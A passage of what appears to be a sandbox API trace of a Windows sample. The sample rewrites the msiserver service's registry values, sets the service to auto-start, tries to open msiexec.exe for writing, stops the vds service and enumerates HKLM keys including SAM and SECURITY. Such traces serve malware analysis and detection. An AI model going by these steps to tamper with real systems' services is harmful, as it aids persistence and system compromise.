Flags=0x8, Size=0x8) returned 0x252d4b8 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.874] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0224.874] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.874] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0224.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.875] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0224.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0224.875] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0224.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0224.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.876] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.876] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.877] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f3f50, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0224.877] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\msiexec.exe" [0224.877] LocalFree (hMem=0x7e4b18) returned 0x0 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0224.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\msiexec.exe", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0224.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\msiexec.exe", cchWideChar=31, lpMultiByteStr=0x21f4778, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\msiexec.exe", lpUsedDefaultChar=0x0) returned 31 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0224.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0224.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.877] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0224.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0224.878] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x803990 [0224.917] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0224.931] CloseServiceHandle (hSCObject=0x803990) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.931] RegCloseKey (hKey=0x150) returned 0x0 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0224.931] RegCloseKey (hKey=0xc4) returned 0x0 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0224.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0224.932] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0224.932] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.932] GetLastError () returned 0x20 [0224.932] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0224.933] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0224.933] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0224.933] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x20) returned 0x8038a0 [0224.933] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0224.934] GetLastError () returned 0x426 [0224.934] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0224.934] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.936] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.936] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.936] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.936] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.936] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0224.936] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 